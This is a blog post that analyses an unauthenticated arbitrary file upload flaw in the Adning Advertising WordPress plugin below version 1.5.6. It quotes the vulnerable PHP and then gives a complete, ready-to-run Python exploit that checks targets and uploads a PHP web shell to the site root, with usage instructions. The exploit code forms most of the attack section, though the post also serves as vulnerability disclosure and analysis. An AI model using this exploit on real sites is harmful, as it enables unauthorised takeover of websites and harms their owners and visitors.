--- layout: post title: Wordpress Arbitrary File Upload author: Dylan Müller author_url: https://linkedin.com/in/lunarjournal --- > Taking over wordpress sites in seconds using a popular extension known as Adning > Advertising. 1. [Overview](#overview) 2. [Exploit ](#exploit) 3. [Demo ](#demo) 4. [Source Code](#source-code) # Overview Note: This exploit has been published on exploit-db: [https://www.exploit-db.com/exploits/49332](https://www.exploit-db.com/exploits/49332). Recently I became aware of an exploit for a popular wordpress extension with more than 8,000 installs according to [wordfence](https://www.wordfence.com/blog/2020/07/critical-vulnerabilities-patched-in-adning-advertising-plugin/). After scanning the web for a proof of concept (POC) with no luck, I eventually decided to download the plugin source code and develop a POC by myself. Wordpress is a content management system (CMS) written in PHP that is usually paired with a MySQL database. As such, it inherits all the security vulnerabilities that come with a PHP and SQL backend. The vulnerable plugin in question is Adning Advertising (adning.com) and the effected versions are reported to be <1.5.6. The plugin allows users to upload advertising banners and manage advertising campaigns. The plugin is located in the base directory: `/wp-content/plugins/angwp` The first task was to find an older version of the plugin and with a bit of googling managed to stumble on version 1.5.0 for analysis. After scanning the plugins directory tree I came across the file `/include/classes/ADNI_Uploader.php` . It was here where I was quite surprised to see the following snippet of code: ```php public static $version = '2.0.2'; public static $upload_folder = ''; public function __construct() { $_spr_upload_ajax_actions = array( '_ning_upload_image', '_ning_remove_image' ); foreach($_spr_upload_ajax_actions as $ajax_action){ add_action( 'wp_ajax_' . $ajax_action, array(__CLASS__, str_replace( '-', '_', $ajax_action ))); add_action( 'wp_ajax_nopriv_' . $ajax_action, array(__CLASS__, str_replace( '-', '_', $ajax_action ))); } } ``` Here the author has defined two AJAX actions, one for image uploads `_ning_upload_image` and another for deleting images `_ning_remove_image`. AJAX actions may be invoked with a POST request to `admin-ajax.php` which is located in `/wp-admin`. What surprised me was that the author created a `wp_ajax_nopriv_` hook to each action, which meant that any unauthenticated user could make AJAX requests and at least theoretically upload or delete **images**. However the following snippet for the image upload function `_ning_upload_image` revealed some interesting peculiarities: ```php public static function _ning_upload_image() { $_action = isset($_POST['action']) ? $_POST['action'] : ''; $user_id = isset($_POST['uid']) ? $_POST['uid'] : 0; $banner_id = isset($_POST['bid']) ? $_POST['bid'] : 0; $max_upload_size = isset($_POST['max_upload_size']) ? $_POST['max_upload_size'] : 100; $upload = isset($_POST['upload']) ? json_decode(stripslashes($_POST['upload']), true) : array(); $valid_formats = isset($_POST['allowed_file_types']) ? explode(',', $_POST['allowed_file_types']) : array('jpg'); if( in_array('jpg', $valid_formats) ) { $valid_formats[] = 'jpeg'; } // $max_file_size = 1024*100; //100 kb // $max_file_size = 1024000*15; // 15 MB (1 mb = 1000 kb) $max_file_size = 1024000*$max_upload_size; // $upload_path = $upload_dir.'/'.$upload_folder; // $upload_path = $upload_path.$upload_folder; $upload_path = $upload['dir'].$upload['folder']; $count = 0; // Create upload folder if not exists if(!is_dir($upload_path)) { mkdir($upload_path, 0777, true); } if(!empty($_FILES['files'])) { ... ``` In declaring valid file upload formats, the author has made the file upload whitelist settable through the `allowed_file_types` POST parameter. This effectively means that files of any type can be uploaded making this an arbitrary file upload exploit. Moreover, the file upload path is also user settable through the JSON POST parameter `upload`, which means we have full control over our file upload location. Often times arbitrary file upload exploits do not provide you with a known destination url for your uploaded shell (due to RNGs) so the fact that we have control over the destination directory is incredibly convenient! Finally the actual file data to be uploaded may be passed to the `files` POST parameter. # Exploit In developing our python exploit, our first task is to determine how we can call `_ning_upload_image` as an unauthenticated user. Thanks to our `wp_ajax_nopriv_` hook calling the relevant AJAX action is as simple as: `/admin-ajax.php?action=_ning_upload_image` For versions < 1.5.6 of the software the following string will be returned when no valid post data is provided: `no files found.` This string can be used to check if the target host is vulnerable to exploitation. ```python def vuln_check(uri): response = requests.get(uri) raw = response.text if ("no files found" in raw): return True; else: return False; ... ``` Next the post parameters: `allowed_file_types` and `upload` that represent the file whitelist and upload directory respectively need to be sent as a POST request as well as our file data. The file upload directory is relative to the current php context, for our exploit this is admin-ajax.php which is located in `/wp-admin` and therefore to upload our shell to the website root directory we supply the following JSON data to the `upload` POST parameter: `{"dir" : "../"}` . This is then converted into a string using `json.dumps` Determining whether our shell has been successfully uploaded is also important and the response received following a successful invocation of the `_ning_upload_image` action can be used to determine this. It was noted that upon file upload success the following string formed part of the response text: `"success":true` and this is what was used to determine a successful state. ```python files = {'files[]' : open(file_path)} data = { "allowed_file_types" : "php,jpg,jpeg", "upload" : json.dumps({"dir" : "../"}) } print("Uploading Shell..."); response = requests.post(uri, files=files, data=data ) file_name = path.basename(file_path) if('"success":true' in response.text): print("Shell Uploaded!") if(base[-1] != '/'): base += '/' print(base + file_name) else: print("Shell Upload Failed") sys.exit(1) ``` The full exploit source is shown below: ```python import os.path from os import path import json import requests; import sys def print_banner(): print("Adning Advertising < 1.5.6 - Arbitrary File Upload") print("Author -> space_hen (www.lunar.sh)") def print_usage(): print("Usage: python3 exploit.py [target url] [php file]") print("Ex: python3 exploit.py https://example.com ./shell.php") def vuln_check(uri): response = requests.get(uri) raw = response.text if ("no files found" in raw): return True; else: return False; def main(): print_banner() if(len(sys.argv) != 3): print_usage(); sys.exit(1); base = sys.argv[1] file_path = sys.argv[2] ajax_action = '_ning_upload_image' admin = '/wp-admin/admin-ajax.php'; uri = base + admin + '?action=' + ajax_action ; check = vuln_check(uri); if(check == False): print("(*) Target not vulnerable!"); sys.exit(1) if( path.isfile(file_path) == False): print("(*) Invalid file!") sys.exit(1) files = {'files[]' : open(file_path)} data = { "allowed_file_types" : "php,jpg,jpeg", "upload" : json.dumps({"dir" : "../"}) } print("Uploading Shell..."); response = requests.post(uri, files=files, data=data ) file_name = path.basename(file_path) if('"success":true' in response.text): print("Shell Uploaded!") if(base[-1] != '/'): base += '/' print(base + file_name) else: print("Shell Upload Failed") sys.exit(1) main(); ``` # Demo {% include youtube.html id='Vub3THZRDFk' %} # Source Code The source code for this journal can be found at [https://github.com/lunarjournal/adningdb](https://github.com/lunarjournal/adningdb)